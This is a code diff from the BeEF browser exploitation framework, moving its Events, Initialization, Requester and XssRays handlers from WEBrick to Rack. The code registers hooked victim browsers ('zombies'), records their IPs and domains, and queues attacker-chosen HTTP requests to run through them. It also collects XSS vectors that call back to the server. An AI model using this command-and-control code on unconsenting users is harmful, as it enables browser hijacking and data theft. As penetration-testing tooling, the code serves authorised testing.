||||
|
||||
beef_server.mount('/demos/', true, WEBrick::HTTPServlet::FileHandler, dir)
|
||||
beef_server.mount('/demos/', Rack::File.new(dir))
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -27,11 +27,9 @@ module Events
|
||||
# like keystroke, mouse clicks and form submission.
|
||||
#
|
||||
def self.mount_handler(beef_server)
|
||||
beef_server.mount('/event', false, BeEF::Extension::Events::Handler)
|
||||
beef_server.mount('/event', BeEF::Extension::Events::Handler)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -27,7 +27,7 @@ module Initialization
|
||||
# all the information about hooked browsers.
|
||||
#
|
||||
def self.mount_handler(beef_server)
|
||||
beef_server.mount('/init', false, BeEF::Extension::Initialization::Handler)
|
||||
beef_server.mount('/init', BeEF::Extension::Initialization::Handler)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -42,14 +42,14 @@ module Initialization
|
||||
return if not hooked_browser.nil? # browser is already registered with framework
|
||||
|
||||
# create the structure representing the hooked browser
|
||||
zombie = BeEF::Core::Models::HookedBrowser.new(:ip => @data['request'].peeraddr[3], :session => session_id)
|
||||
zombie = BeEF::Core::Models::HookedBrowser.new(:ip => @data['request'].ip, :session => session_id)
|
||||
zombie.firstseen = Time.new.to_i
|
||||
|
||||
# hostname
|
||||
if not @data['results']['HostName'].nil? then
|
||||
log_zombie_domain=@data['results']['HostName']
|
||||
elsif (not @data['request'].header['referer'].nil?) and (not @data['request'].header['referer'].empty?)
|
||||
log_zombie_domain=@data['request'].header['referer'][0].gsub('http://','').gsub('https://','').split('/')[0]
|
||||
elsif (not @data['request'].referer.nil?) and (not @data['request'].referer.empty?)
|
||||
log_zombie_domain=@data['request'].referer.gsub('http://','').gsub('https://','').split('/')[0]
|
||||
else
|
||||
log_zombie_domain="unknown" # Probably local file open
|
||||
end
|
||||
@@ -67,7 +67,11 @@ module Initialization
|
||||
|
||||
zombie.domain = log_zombie_domain
|
||||
zombie.port = log_zombie_port
|
||||
zombie.httpheaders = @data['request'].header.to_json
|
||||
|
||||
#TODO: find a way to do this
|
||||
#zombie.httpheaders = @data['request'].header.to_json
|
||||
zombie.httpheaders = 'temp headers'
|
||||
|
||||
|
||||
zombie.save # the save needs to be conducted before any hooked browser specific logging
|
||||
|
||||
@@ -295,20 +299,21 @@ module Initialization
|
||||
end
|
||||
|
||||
# Call autorun modules, this will be moved to core along with the Initialization extension
|
||||
autorun = []
|
||||
BeEF::Core::Configuration.instance.get('beef.module').each{|k,v|
|
||||
if v.has_key?('autorun') and v['autorun'] == true
|
||||
if BeEF::Module.support(k, {'browser' => browser_name, 'ver' => browser_version, 'os' => os_name}) == BeEF::Core::Constants::CommandModule::VERIFIED_WORKING
|
||||
BeEF::Module.execute(k, session_id)
|
||||
autorun.push(k)
|
||||
else
|
||||
print_debug "Autorun attempted to execute unsupported module '#{k}' against Hooked browser #{zombie.ip}"
|
||||
end
|
||||
end
|
||||
}
|
||||
if autorun.length > 0
|
||||
print_info "Autorun executed: #{autorun.join(', ')} against Hooked browser #{zombie.ip}"
|
||||
end
|
||||
#TODO: re-enable it
|
||||
# autorun = []
|
||||
# BeEF::Core::Configuration.instance.get('beef.module').each{|k,v|
|
||||
# if v.has_key?('autorun') and v['autorun'] == true
|
||||
# if BeEF::Module.support(k, {'browser' => browser_name, 'ver' => browser_version, 'os' => os_name}) == BeEF::Core::Constants::CommandModule::VERIFIED_WORKING
|
||||
# BeEF::Module.execute(k, session_id)
|
||||
# autorun.push(k)
|
||||
# else
|
||||
# print_debug "Autorun attempted to execute unsupported module '#{k}' against Hooked browser #{zombie.ip}"
|
||||
# end
|
||||
# end
|
||||
# }
|
||||
# if autorun.length > 0
|
||||
# print_info "Autorun executed: #{autorun.join(', ')} against Hooked browser #{zombie.ip}"
|
||||
# end
|
||||
end
|
||||
|
||||
def get_param(query, key)
|
||||
|
||||
@@ -24,7 +24,7 @@ module Requester
|
||||
# We register the http handler for the requester.
|
||||
# This http handler will retrieve the http responses for all requests
|
||||
def self.mount_handler(beef_server)
|
||||
beef_server.mount('/requester', false, BeEF::Extension::Requester::Handler)
|
||||
beef_server.mount('/requester', BeEF::Extension::Requester::Handler)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -17,37 +17,28 @@ module BeEF
|
||||
module Extension
|
||||
module Requester
|
||||
module API
|
||||
#
|
||||
# Module containing all the functions to run the Requester.
|
||||
#
|
||||
# That module is dependent on 'Common'. Hence to use it,
|
||||
# your code also needs to include that module.
|
||||
#
|
||||
|
||||
require 'uri'
|
||||
class Hook
|
||||
|
||||
include BeEF::Core::Handlers::Modules::BeEFJS
|
||||
|
||||
#
|
||||
# Runs the Requester
|
||||
#
|
||||
# If the HTTP table contains requests that need to be sent (has_ran = waiting), retrieve
|
||||
# and send them to the hooked browser.
|
||||
def requester_run(hb, body)
|
||||
@body = body
|
||||
# we generate all the requests and output them to the hooked browser
|
||||
# Generate all the requests and output them to the hooked browser
|
||||
output = []
|
||||
BeEF::Core::Models::Http.all(:hooked_browser_id => hb.id, :has_ran => "waiting").each { |h|
|
||||
output << self.requester_parse_db_request(h)
|
||||
}
|
||||
|
||||
# stop here of our output in empty, that means there aren't any requests to send
|
||||
return if output.empty?
|
||||
|
||||
#print_debug("[REQUESTER] Sending request(s): #{output.to_json}")
|
||||
|
||||
# build the beefjs requester component
|
||||
# Build the BeEFJS requester component
|
||||
build_missing_beefjs_components 'beef.net.requester'
|
||||
|
||||
# we send the command to perform the requests to the hooked browser
|
||||
# Send the command to perform the requests to the hooked browser
|
||||
@body << %Q{
|
||||
beef.execute(function() {
|
||||
beef.net.requester.send(
|
||||
@@ -58,12 +49,13 @@ module BeEF
|
||||
end
|
||||
|
||||
#
|
||||
# Converts a HTTP DB Object into a BeEF JS command that
|
||||
# can be executed by the hooked browser.
|
||||
#
|
||||
# Converts an HTTP db object into an Hash that follows the representation
|
||||
# of input data for the beef.net.request Javascript API function.
|
||||
# The Hash will then be converted into JSON, given as input to beef.net.requester.send Javascript API function
|
||||
# and finally sent to and executed by the hooked browser.
|
||||
def requester_parse_db_request(http_db_object)
|
||||
|
||||
# We're overwriting the URI Parser UNRESERVED regex to prevent BAD URI errors when sending attack vectors (see tolerant_parser)
|
||||
# We're overwriting the URI::Parser UNRESERVED regex to prevent BAD URI errors when sending attack vectors (see tolerant_parser)
|
||||
tolerant_parser = URI::Parser.new(:UNRESERVED => BeEF::Core::Configuration.instance.get("beef.extension.requester.uri_unreserved_chars"))
|
||||
req = WEBrick::HTTPRequest.new(WEBrick::Config::HTTP)
|
||||
params = nil
|
||||
@@ -72,9 +64,6 @@ module BeEF
|
||||
s = StringIO.new http_db_object.request
|
||||
req.parse(s)
|
||||
rescue Exception => e
|
||||
# if an exception is caught, we display it in the console but do not
|
||||
# stong beef from executing. That is because we do not want to stop
|
||||
# attacking the hooked browser because of a malformed request.
|
||||
puts e.message
|
||||
puts e.backtrace
|
||||
return
|
||||
@@ -107,13 +96,13 @@ module BeEF
|
||||
}
|
||||
else
|
||||
#non-POST request (ex. GET): query parameters in URL need to be parsed and added to the URI
|
||||
# creating the request object
|
||||
query_params = tolerant_parser.split(uri)[7]
|
||||
if not query_params.nil?
|
||||
req_uri = tolerant_parser.parse(uri).path + "?" + query_params
|
||||
else
|
||||
req_uri = tolerant_parser.parse(uri).path
|
||||
end
|
||||
# creating the request object
|
||||
http_request_object = {
|
||||
'id' => http_db_object.id,
|
||||
'method' => req.request_method,
|
||||
@@ -124,14 +113,11 @@ module BeEF
|
||||
'headers' => {}
|
||||
}
|
||||
end
|
||||
print_debug("[PROXY] Forwarding request: host[#{req.host}], method[#{req.request_method}], path[#{tolerant_parser.parse(uri).path}], urlparams[#{query_params}], body[#{params}]")
|
||||
req.header.keys.each { |key| http_request_object['headers'][key] = req.header[key] }
|
||||
|
||||
http_request_object
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -14,79 +14,70 @@
|
||||
# limitations under the License.
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module Requester
|
||||
|
||||
#
|
||||
# The http handler that manages the Requester.
|
||||
#
|
||||
class Handler < WEBrick::HTTPServlet::AbstractServlet
|
||||
attr_reader :guard
|
||||
|
||||
H = BeEF::Core::Models::Http
|
||||
Z = BeEF::Core::Models::HookedBrowser
|
||||
|
||||
#
|
||||
# Class constructor
|
||||
#
|
||||
def initialize(data)
|
||||
# we set up a mutex
|
||||
@guard = Mutex.new
|
||||
@data = data
|
||||
setup()
|
||||
module Extension
|
||||
module Requester
|
||||
|
||||
#
|
||||
# The http handler that manages the Requester.
|
||||
#
|
||||
class Handler < WEBrick::HTTPServlet::AbstractServlet
|
||||
attr_reader :guard
|
||||
|
||||
H = BeEF::Core::Models::Http
|
||||
Z = BeEF::Core::Models::HookedBrowser
|
||||
|
||||
#
|
||||
# Class constructor
|
||||
#
|
||||
def initialize(data)
|
||||
# we set up a mutex
|
||||
@guard = Mutex.new
|
||||
@data = data
|
||||
setup()
|
||||
end
|
||||
|
||||
def setup()
|
||||
|
||||
# validates the hook token
|
||||
beef_hook = @data['beefhook'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "beefhook is null" if beef_hook.nil?
|
||||
|
||||
# validates the request id
|
||||
request_id = @data['cid'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Original request id (command id) is null" if request_id.nil?
|
||||
|
||||
# validates that a hooked browser with the beef_hook token exists in the db
|
||||
zombie_db = Z.first(:session => beef_hook) || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Invalid beefhook id: the hooked browser cannot be found in the database" if zombie_db.nil?
|
||||
|
||||
# validates that we have such a http request saved in the db
|
||||
http_db = H.first(:id => request_id.to_i, :hooked_browser_id => zombie_db.id) || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Invalid http_db: no such request found in the database" if http_db.nil?
|
||||
|
||||
# validates that the http request has not be ran before
|
||||
raise WEBrick::HTTPStatus::BadRequest, "This http request has been saved before" if http_db.has_ran.eql? "complete"
|
||||
|
||||
# validates the response code
|
||||
response_code = @data['results']['response_status_code'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Http response code is null" if response_code.nil?
|
||||
|
||||
# save the results in the database
|
||||
http_db.response_headers = @data['results']['response_headers']
|
||||
http_db.response_status_code = @data['results']['response_status_code']
|
||||
http_db.response_status_text = @data['results']['response_status_text']
|
||||
http_db.response_port_status = @data['results']['response_port_status']
|
||||
http_db.response_data = @data['results']['response_data']
|
||||
http_db.response_date = Time.now
|
||||
http_db.has_ran = "complete"
|
||||
|
||||
# Store images as binary
|
||||
# see issue http://code.google.com/p/beef/issues/detail?id=368
|
||||
if http_db.response_headers =~ /Content-Type: image/
|
||||
http_db.response_data = http_db.response_data.unpack('a*')
|
||||
end
|
||||
http_db.save
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def setup()
|
||||
|
||||
# validates the hook token
|
||||
beef_hook = @data['beefhook'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "beefhook is null" if beef_hook.nil?
|
||||
|
||||
# validates the request id
|
||||
request_id = @data['cid'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Original request id (command id) is null" if request_id.nil?
|
||||
|
||||
# validates that a hooked browser with the beef_hook token exists in the db
|
||||
zombie_db = Z.first(:session => beef_hook) || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Invalid beefhook id: the hooked browser cannot be found in the database" if zombie_db.nil?
|
||||
|
||||
# validates that we have such a http request saved in the db
|
||||
http_db = H.first(:id => request_id.to_i, :hooked_browser_id => zombie_db.id) || nil
|
||||
#print_debug("[REQUESTER] BeEF::Extension::Requester::Handler -> Searching for request id [#{request_id.to_i}] of zombie id [#{zombie_db.id}]")
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Invalid http_db: no such request found in the database" if http_db.nil?
|
||||
|
||||
# validates that the http request has not be ran before
|
||||
raise WEBrick::HTTPStatus::BadRequest, "This http request has been saved before" if http_db.has_ran.eql? "complete"
|
||||
|
||||
# validates the response code
|
||||
response_code = @data['results']['response_status_code'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Http response code is null" if response_code.nil?
|
||||
#print_debug("[PROXY] Saving response with response code [#{@data['results']['response_status_code']}] - response body [#{@data['results']['response_data']}]")
|
||||
|
||||
# save the results in the database
|
||||
http_db.response_headers = @data['results']['response_headers']
|
||||
http_db.response_status_code = @data['results']['response_status_code']
|
||||
http_db.response_status_text = @data['results']['response_status_text']
|
||||
http_db.response_port_status = @data['results']['response_port_status']
|
||||
http_db.response_data = @data['results']['response_data']
|
||||
http_db.response_date = Time.now
|
||||
http_db.has_ran = "complete"
|
||||
|
||||
|
||||
# Store images as binary
|
||||
# see issue http://code.google.com/p/beef/issues/detail?id=368
|
||||
if http_db.response_headers =~ /Content-Type: image/
|
||||
http_db.response_data = http_db.response_data.unpack('a*')
|
||||
end
|
||||
|
||||
|
||||
http_db.save
|
||||
end
|
||||
|
||||
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -24,7 +24,7 @@ module Xssrays
|
||||
# We register the http handler for the requester.
|
||||
# This http handler will retrieve the http responses for all requests
|
||||
def self.mount_handler(beef_server)
|
||||
beef_server.mount('/xssrays', true, BeEF::Extension::Xssrays::Handler)
|
||||
beef_server.mount('/xssrays', BeEF::Extension::Xssrays::Handler.new)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -17,29 +17,29 @@ module BeEF
|
||||
module Extension
|
||||
module Xssrays
|
||||
|
||||
class Handler < WEBrick::HTTPServlet::AbstractServlet
|
||||
class Handler
|
||||
|
||||
XS = BeEF::Core::Models::Xssraysscan
|
||||
XD = BeEF::Core::Models::Xssraysdetail
|
||||
HB = BeEF::Core::Models::HookedBrowser
|
||||
|
||||
def do_GET(request, response)
|
||||
@request = request
|
||||
def call(env)
|
||||
@request = Rack::Request.new(env)
|
||||
|
||||
# verify if the request contains the hook token
|
||||
# raise an exception if it's null or not found in the DB
|
||||
beef_hook = get_param(@request.query, 'hbsess') || nil
|
||||
beef_hook = @request['hbsess'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest,
|
||||
"[XSSRAYS] Invalid beefhook id: the hooked browser cannot be found in the database" if beef_hook.nil? || HB.first(:session => beef_hook) == nil
|
||||
|
||||
rays_scan_id = get_param(@request.query, 'raysid') || nil
|
||||
rays_scan_id = @request['raysid'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "[XSSRAYS] Raysid is null" if rays_scan_id.nil?
|
||||
|
||||
if (get_param(@request.query, 'action') == 'ray')
|
||||
if @request['action'] == 'ray'
|
||||
# we received a ray
|
||||
parse_rays(rays_scan_id)
|
||||
else
|
||||
if (get_param(@request.query, 'action') == 'finish')
|
||||
if @request['action'] == 'finish'
|
||||
# we received a notification for finishing the scan
|
||||
finalize_scan(rays_scan_id)
|
||||
else
|
||||
@@ -47,25 +47,39 @@ module BeEF
|
||||
raise WEBrick::HTTPStatus::BadRequest, "[XSSRAYS] Invalid action"
|
||||
end
|
||||
end
|
||||
|
||||
response = Rack::Response.new(
|
||||
body = [],
|
||||
status = 200,
|
||||
header = {
|
||||
'Pragma' => 'no-cache',
|
||||
'Cache-Control' => 'no-cache',
|
||||
'Expires' => '0',
|
||||
'Content-Type' => 'text/javascript',
|
||||
'Access-Control-Allow-Origin' => '*',
|
||||
'Access-Control-Allow-Methods' => 'POST'
|
||||
}
|
||||
)
|
||||
response
|
||||
end
|
||||
|
||||
# parse incoming rays: rays are verified XSS, as the attack vector is calling back BeEF when executed.
|
||||
def parse_rays(rays_scan_id)
|
||||
xssrays_scan = XS.first(:id => rays_scan_id)
|
||||
hooked_browser = HB.first(:session => get_param(@request.query, 'hbsess'))
|
||||
hooked_browser = HB.first(:session => @request['hbsess'])
|
||||
|
||||
if (xssrays_scan != nil)
|
||||
xssrays_detail = XD.new(
|
||||
:hooked_browser_id => hooked_browser.id,
|
||||
:vector_name => get_param(@request.query, 'n'),
|
||||
:vector_method => get_param(@request.query, 'm'),
|
||||
:vector_poc => get_param(@request.query, 'p'),
|
||||
:vector_name => @request['n'],
|
||||
:vector_method => @request['m'],
|
||||
:vector_poc => @request['p'],
|
||||
:xssraysscan_id => xssrays_scan.id
|
||||
)
|
||||
xssrays_detail.save
|
||||
end
|
||||
print_info("[XSSRAYS] Received ray from HB with ip [#{hooked_browser.ip.to_s}], hooked on domain [#{hooked_browser.domain.to_s}]")
|
||||
print_debug("[XSSRAYS] Ray info: \n #{@request.query}")
|
||||
print_debug("[XSSRAYS] Ray info: \n #{@request.query_string}")
|
||||
end
|
||||
|
||||
# finalize the XssRays scan marking the scan as finished in the db
|
||||
@@ -77,12 +91,6 @@ module BeEF
|
||||
print_info("[XSSRAYS] Scan id [#{xssrays_scan.id}] finished at [#{xssrays_scan.scan_finish}]")
|
||||
end
|
||||
end
|
||||
|
||||
#assist function for getting parameter from hash
|
||||
def get_param(query, key)
|
||||
return nil if query[key].nil?
|
||||
query[key]
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
Reference in New Issue
Block a user